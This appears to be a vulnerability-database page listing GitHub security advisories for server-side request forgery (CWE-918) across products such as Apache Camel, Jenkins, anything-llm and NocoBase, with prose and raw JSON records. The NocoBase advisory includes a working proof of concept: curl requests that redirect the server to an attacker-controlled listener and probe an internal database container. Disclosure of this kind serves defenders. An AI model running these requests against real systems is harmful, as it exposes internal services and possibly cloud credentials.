CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
7025 vulnerabilities reference this CWE, most recent first.
GHSA-WRF8-P6R2-XW72
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2025-05-30 18:30An SSRF issue was discovered in Zoho Application Control Plus before version 10.0.511. The mail gateway configuration feature allows an attacker to perform a scan in order to discover open ports on a machine as well as available machines on the network segment on which the instance of the product is deployed.
{
"affected": [],
"aliases": [
"CVE-2020-15594"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-30T18:15:00Z",
"severity": "MODERATE"
},
"details": "An SSRF issue was discovered in Zoho Application Control Plus before version 10.0.511. The mail gateway configuration feature allows an attacker to perform a scan in order to discover open ports on a machine as well as available machines on the network segment on which the instance of the product is deployed.",
"id": "GHSA-wrf8-p6r2-xw72",
"modified": "2025-05-30T18:30:36Z",
"published": "2022-05-24T17:29:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15594"
},
{
"type": "WEB",
"url": "https://cds.thalesgroup.com/en/tcs-cert/CVE-2020-15594"
},
{
"type": "WEB",
"url": "https://excellium-services.com/cert-xlm-advisory/cve-2020-15594"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRG6-Q24G-59J6
Vulnerability from github – Published: 2026-10-19 12:32 – Updated: 2026-10-19 12:32Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.
This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.
In the AS2 protocol the sender of a message may request that the Message Disposition Notification be returned asynchronously to an address the sender supplies. camel-as2 took that address from the inbound message and used it as the destination for the outgoing receipt without constraining it to anything the deployment had configured. A remote partner therefore chose the host the Camel instance would connect to when delivering the MDN. That gives server-side request forgery from the position of the AS2 receiver, including reaching hosts that are only routable from inside the deployment's network, and where the outbound connection carries credentials configured for MDN delivery those credentials are presented to the attacker-chosen destination.
Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The asynchronous MDN destination is now constrained rather than taken verbatim from the inbound message. For deployments that cannot upgrade immediately, restrict outbound connectivity from the AS2 receiver to the partner endpoints it legitimately delivers receipts to, and do not attach credentials to MDN delivery that are valid for any host other than those partners.
{
"affected": [],
"aliases": [
"CVE-2026-80344"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-19T11:17:21Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\nIn the AS2 protocol the sender of a message may request that the Message Disposition Notification be returned asynchronously to an address the sender supplies. camel-as2 took that address from the inbound message and used it as the destination for the outgoing receipt without constraining it to anything the deployment had configured. A remote partner therefore chose the host the Camel instance would connect to when delivering the MDN. That gives server-side request forgery from the position of the AS2 receiver, including reaching hosts that are only routable from inside the deployment\u0027s network, and where the outbound connection carries credentials configured for MDN delivery those credentials are presented to the attacker-chosen destination.\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The asynchronous MDN destination is now constrained rather than taken verbatim from the inbound message. For deployments that cannot upgrade immediately, restrict outbound connectivity from the AS2 receiver to the partner endpoints it legitimately delivers receipts to, and do not attach credentials to MDN delivery that are valid for any host other than those partners.",
"id": "GHSA-wrg6-q24g-59j6",
"modified": "2026-10-19T12:32:50Z",
"published": "2026-10-19T12:32:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80344"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/25637"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/25763"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/25764"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2026-80344.html"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CAMEL-24417"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRHR-54P6-Q97F
Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-07-01 19:30Jenkins Active Directory Plugin 2.41 and earlier follows LDAP referrals from the configured Active Directory server by default. These can forward to an RMI URL that causes Jenkins to deserialize attacker-controlled data, resulting in Remote Code Execution (RCE) on the Jenkins controller if deserialization "gadgets" are available on the classpath.
This allows attackers able to control the configured Active Directory server, or able to perform a machine-in-the-middle attack, to execute code on the Jenkins controller.
Active Directory Plugin 2.41.1 no longer follows LDAP referrals by default.
Administrators unable to update to a fixed version can start Jenkins with the Java system property hudson.plugins.active_directory.referral.ignore set to true to mitigate the vulnerability.
Administrators of Jenkins controllers requiring following LDAP referrals can set the Java system property hudson.plugins.active_directory.referral.ignore to false to restore the previous behavior.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:active-directory"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.41.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48918"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T19:30:25Z",
"nvd_published_at": "2026-05-27T15:16:31Z",
"severity": "MODERATE"
},
"details": "Jenkins Active Directory Plugin 2.41 and earlier follows LDAP referrals from the configured Active Directory server by default. These can forward to an RMI URL that causes Jenkins to deserialize attacker-controlled data, resulting in Remote Code Execution (RCE) on the Jenkins controller if deserialization \"gadgets\" are available on the classpath.\n\nThis allows attackers able to control the configured Active Directory server, or able to perform a machine-in-the-middle attack, to execute code on the Jenkins controller.\n\nActive Directory Plugin 2.41.1 no longer follows LDAP referrals by default.\n\nAdministrators unable to update to a fixed version can start Jenkins with the Java system property `hudson.plugins.active_directory.referral.ignore` set to `true` to mitigate the vulnerability.\n\nAdministrators of Jenkins controllers requiring following LDAP referrals can set the Java system property `hudson.plugins.active_directory.referral.ignore` to `false` to restore the previous behavior.",
"id": "GHSA-wrhr-54p6-q97f",
"modified": "2026-07-01T19:30:25Z",
"published": "2026-05-27T15:33:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48918"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/active-directory-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-05-27/#SECURITY-3659"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Active Directory Plugin follows LDAP referrals by default"
}
GHSA-WRR2-6XWV-W627
Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2024-06-06 21:30A Server-Side Request Forgery (SSRF) vulnerability exists in the upload link feature of mintplex-labs/anything-llm. This feature, intended for users with manager or admin roles, processes uploaded links through an internal Collector API using a headless browser. An attacker can exploit this by hosting a malicious website and using it to perform actions such as internal port scanning, accessing internal web applications not exposed externally, and interacting with the Collector API. This interaction can lead to unauthorized actions such as arbitrary file deletion and limited Local File Inclusion (LFI), including accessing NGINX access logs which may contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-3149"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T19:16:00Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the upload link feature of mintplex-labs/anything-llm. This feature, intended for users with manager or admin roles, processes uploaded links through an internal Collector API using a headless browser. An attacker can exploit this by hosting a malicious website and using it to perform actions such as internal port scanning, accessing internal web applications not exposed externally, and interacting with the Collector API. This interaction can lead to unauthorized actions such as arbitrary file deletion and limited Local File Inclusion (LFI), including accessing NGINX access logs which may contain sensitive information.",
"id": "GHSA-wrr2-6xwv-w627",
"modified": "2024-06-06T21:30:37Z",
"published": "2024-06-06T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3149"
},
{
"type": "WEB",
"url": "https://github.com/mintplex-labs/anything-llm/commit/f4088d9348fa86dcebe9f97a18d39c0a6e92f15e"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/b230d76b-ae2d-440e-a25b-94ffaa7c4ff1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRR5-J383-F7H2
Vulnerability from github – Published: 2026-11-10 19:20 – Updated: 2026-11-10 19:20Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
- Product: NocoBase
- Version: v2.1.10
- Component:
@nocobase/plugin-action-custom-request - Severity: Moderate
- Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
- Docker image:
nocobase/nocobase:latest-full - Commit:
23e2bd35625439594e4757bac31d57c9e8e695b9 - Database: PostgreSQL 16
- Containers:
nocobase-lab,nocobase-postgres - Docker network:
172.19.0.0/16 - Important environment variable:
SERVER_REQUEST_WHITELISTwas not set
Details
The vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>
The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
PoC
Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
Expected result:
HTTP/1.1 200 OK
If the key already exists, this setup step can be skipped.
Evidence:
Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
Example attacker host IP in the local lab:
192.168.1.139
Evidence:
Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
Evidence:
Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
Observed response:
{"message":"socket hang up"}
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
- internal service enumeration
- access to services only reachable from the server-side network
- Docker host gateway reachability testing
- reading responses from internal HTTP services when response bodies are returned
- potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
- use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
- attacker-controlled HTTP listener received a request from the NocoBase server
- internal PostgreSQL container
nocobase-postgres:5432was reachable - Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
Recommended Fix
- Restrict
customRequests:sendto administrators or specifically authorized roles.
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
-
Do not allow low-privileged users to override stored request URLs at runtime.
-
Require
SERVER_REQUEST_WHITELISTby default in production Docker images. -
Block private/internal IP ranges by default, including:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
-
Resolve DNS and validate the final resolved IP address before making the outbound request.
-
Revalidate the target after redirects.
-
Add SSRF regression tests for:
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-action-custom-request"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0-alpha.8"
},
{
"fixed": "2.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-action-custom-request"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0-alpha.1"
},
{
"fixed": "2.2.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-79914"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-10T19:20:14Z",
"nvd_published_at": "2026-11-10T18:17:48Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin.\n\nA low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.\n\n* Product: NocoBase\n* Version: v2.1.10\n* Component: `@nocobase/plugin-action-custom-request`\n* Severity: Moderate\n* Required privilege: authenticated low-privileged user / member\n\nTesting was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested.\n\nLab environment:\n\n* Docker image: `nocobase/nocobase:latest-full`\n* Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9`\n* Database: PostgreSQL 16\n* Containers: `nocobase-lab`, `nocobase-postgres`\n* Docker network: `172.19.0.0/16`\n* Important environment variable: `SERVER_REQUEST_WHITELIST` was not set\n\n---\n\n### Details\n\nThe vulnerable endpoint is:\n\n```http\nPOST /api/customRequests:send?filterByTk=\u003ckey\u003e\n```\n\nThe `customRequests:send` action is allowed for any logged-in user:\n\n```ts\n// plugin-action-custom-request/src/server/plugin.ts\nthis.app.acl.allow(\u0027customRequests\u0027, [\u0027send\u0027, \u0027listByCurrentRole\u0027], \u0027loggedIn\u0027);\n```\n\nThe request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:\n\n```ts\n// plugin-action-custom-request/src/server/actions/send.ts\nconst mergedOptions = {\n ...(requestConfig.options || {}),\n ...omitNullAndUndefined(runtimeOptions || {}),\n};\n\nconst { url, ...options } = mergedOptions;\n```\n\nThe URL is therefore attacker-controlled when the low-privileged user sends a request body such as:\n\n```json\n{\n \"options\": {\n \"url\": \"http://attacker-controlled-host:18080/ssrf-proof\",\n \"method\": \"GET\"\n }\n}\n```\n\nIf `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed:\n\n```ts\n// packages/core/utils/src/server-request.ts\nconst whitelist = process.env.SERVER_REQUEST_WHITELIST;\n\nif (!whitelist || !whitelist.trim()) return;\n```\n\nAs a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.\n\n---\n\n### PoC\n\n#### Step 1: Admin creates a valid Custom Request config\n\nFirst, an administrator creates a valid Custom Request config. This is a setup step only.\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:create\" \\\n -H \"Authorization: Bearer \u003cADMIN_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n --data \u0027{\n \"key\": \"report-ssrf-demo\",\n \"options\": {\n \"url\": \"https://www.example.com/\",\n \"method\": \"GET\"\n }\n }\u0027\n```\n\nExpected result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nIf the key already exists, this setup step can be skipped.\n\nEvidence:\n\n\u003cimg width=\"1467\" height=\"619\" alt=\"Admin creates Custom Request config\" src=\"https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6\" /\u003e\n\n---\n\n#### Step 2: Start an attacker-controlled HTTP listener\n\nOn the attacker-controlled host in the local lab:\n\n```bash\nmkdir -p /tmp/ssrf-poc\ncd /tmp/ssrf-poc\necho \"SSRF OK - request came from NocoBase server\" \u003e ssrf-proof\npython3 -m http.server 18080 --bind 0.0.0.0\n```\n\nExample attacker host IP in the local lab:\n\n```text\n192.168.1.139\n```\n\nEvidence:\n\n\u003cimg width=\"888\" height=\"195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89\" /\u003e\n\n---\n\n#### Step 3: Low-privileged user triggers SSRF by overriding options.url\n\nThe low-privileged user calls `customRequests:send` and overrides `options.url` at runtime:\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\nKALI_IP=\"192.168.1.139\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n -H \"Authorization: Bearer \u003cLOWPRIV_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n --data \"{\n \\\"options\\\": {\n \\\"url\\\": \\\"http://$KALI_IP:18080/ssrf-proof\\\",\n \\\"method\\\": \\\"GET\\\"\n }\n }\"\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\n\nSSRF OK - request came from NocoBase server\n```\n\nEvidence:\n\n\u003cimg width=\"959\" height=\"570\" alt=\"Low-privileged user triggers SSRF\" src=\"https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77\" /\u003e\n\n---\n\n#### Step 4: Attacker-controlled listener receives the server-side request\n\nThe attacker-controlled HTTP listener receives:\n\n```text\nGET /ssrf-proof HTTP/1.1\n```\n\nThis proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user\u0027s API request.\n\nEvidence:\n\n\u003cimg width=\"744\" height=\"206\" alt=\"Listener receives GET /ssrf-proof\" src=\"https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051\" /\u003e\n\n---\n\n#### Step 5: Internal service reachability test\n\nThe same low-privileged user can target an internal Docker service:\n\n```bash\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n -H \"Authorization: Bearer \u003cLOWPRIV_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n --data \u0027{\n \"options\": {\n \"url\": \"http://nocobase-postgres:5432/\",\n \"method\": \"GET\"\n }\n }\u0027\n```\n\nObserved response:\n\n```json\n{\"message\":\"socket hang up\"}\n```\n\nThis indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.\n\n---\n\n### Impact\n\nA low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.\n\nPotential impact includes:\n\n* internal service enumeration\n* access to services only reachable from the server-side network\n* Docker host gateway reachability testing\n* reading responses from internal HTTP services when response bodies are returned\n* potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked\n* use of the NocoBase server as a trusted network proxy\n\nConfirmed in the local lab:\n\n* attacker-controlled HTTP listener received a request from the NocoBase server\n* internal PostgreSQL container `nocobase-postgres:5432` was reachable\n* Docker host gateway reachability was confirmed\n\nThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.\n\n---\n\n### Recommended Fix\n\n1. Restrict `customRequests:send` to administrators or specifically authorized roles.\n\n```diff\n- this.app.acl.allow(\u0027customRequests\u0027, [\u0027send\u0027], \u0027loggedIn\u0027);\n+ this.app.acl.allow(\u0027customRequests\u0027, [\u0027send\u0027], \u0027admin\u0027);\n```\n\n2. Do not allow low-privileged users to override stored request URLs at runtime.\n\n3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images.\n\n4. Block private/internal IP ranges by default, including:\n\n```text\n127.0.0.0/8\n10.0.0.0/8\n172.16.0.0/12\n192.168.0.0/16\n169.254.0.0/16\n::1/128\nfc00::/7\n```\n\n5. Resolve DNS and validate the final resolved IP address before making the outbound request.\n\n6. Revalidate the target after redirects.\n\n7. Add SSRF regression tests for:\n\n```text\nlocalhost\n127.0.0.1\nDocker service names\nprivate IP ranges\nDocker gateway IP\n169.254.169.254\nredirects to private IP ranges\n```",
"id": "GHSA-wrr5-j383-f7h2",
"modified": "2026-11-10T19:20:15Z",
"published": "2026-11-10T19:20:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/8749"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9904"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/1fc226a22d2ec1de1adf1230367c858b4363ec3b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.15"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.2.0-alpha.4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/cve-2026-79914"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides"
}
GHSA-WRV9-8QW6-67RV
Vulnerability from github – Published: 2023-08-31 03:30 – Updated: 2023-08-31 03:30Server-Side Request Forgery (SSRF) in GitHub repository instantsoft/icms2 prior to 2.16.1.
{
"affected": [],
"aliases": [
"CVE-2023-4651"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-31T01:15:09Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) in GitHub repository instantsoft/icms2 prior to 2.16.1.",
"id": "GHSA-wrv9-8qw6-67rv",
"modified": "2023-08-31T03:30:36Z",
"published": "2023-08-31T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4651"
},
{
"type": "WEB",
"url": "https://github.com/instantsoft/icms2/commit/a6bf758de0b3242b0c0e4b47a588aae0c94305b0"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/beba9b98-2a5c-4629-987d-b67f47ba9437"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WRW2-8VG5-G3JJ
Vulnerability from github – Published: 2022-01-19 00:01 – Updated: 2026-02-23 09:31SSRF vulnerability in M-Files Server products with versions before 22.1.11017.1, in a preview function allowed making queries from the server with certain document types referencing external entities.
{
"affected": [],
"aliases": [
"CVE-2021-41809"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-18T17:15:00Z",
"severity": "MODERATE"
},
"details": "SSRF vulnerability in M-Files Server products with versions before 22.1.11017.1, in a preview function allowed making queries from the server with certain document types referencing external entities.",
"id": "GHSA-wrw2-8vg5-g3jj",
"modified": "2026-02-23T09:31:17Z",
"published": "2022-01-19T00:01:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41809"
},
{
"type": "WEB",
"url": "https://empower.m-files.com/security-advisories/CVE-2021-41809"
},
{
"type": "WEB",
"url": "https://www.m-files.com/about/trust-center/security-vulnerabilities/cve-2021-41809"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRW7-6RH3-QHMQ
Vulnerability from github – Published: 2024-12-30 00:30 – Updated: 2024-12-30 00:30A vulnerability, which was classified as problematic, was found in Antabot White-Jotter up to 0.2.2. Affected is an unknown function of the file /admin/content/book of the component Edit Book Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-13029"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-30T00:15:04Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in Antabot White-Jotter up to 0.2.2. Affected is an unknown function of the file /admin/content/book of the component Edit Book Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-wrw7-6rh3-qhmq",
"modified": "2024-12-30T00:30:29Z",
"published": "2024-12-30T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13029"
},
{
"type": "WEB",
"url": "https://github.com/cydtseng/Vulnerability-Research/blob/main/white-jotter/ServerSideRequestForgery-BookCoverURL.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.289722"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.289722"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.465942"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WRX7-QGMJ-MF2Q
Vulnerability from github – Published: 2022-01-08 00:43 – Updated: 2022-01-07 23:16All request mappings in StreamingCoordinatorController.java handling /kylin/api/streaming_coordinator/* REST API endpoints did not include any security checks, which allowed an unauthenticated user to issue arbitrary requests, such as assigning/unassigning of streaming cubes, creation/modification and deletion of replica sets, to the Kylin Coordinator. For endpoints accepting node details in HTTP message body, unauthenticated (but limited) server-side request forgery (SSRF) can be achieved. This issue affects Apache Kylin Apache Kylin 3 versions prior to 3.1.2.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.kylin:kylin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-27738"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-07T23:16:38Z",
"nvd_published_at": "2022-01-06T13:15:00Z",
"severity": "MODERATE"
},
"details": "All request mappings in `StreamingCoordinatorController.java` handling `/kylin/api/streaming_coordinator/*` REST API endpoints did not include any security checks, which allowed an unauthenticated user to issue arbitrary requests, such as assigning/unassigning of streaming cubes, creation/modification and deletion of replica sets, to the Kylin Coordinator. For endpoints accepting node details in HTTP message body, unauthenticated (but limited) server-side request forgery (SSRF) can be achieved. This issue affects Apache Kylin Apache Kylin 3 versions prior to 3.1.2.",
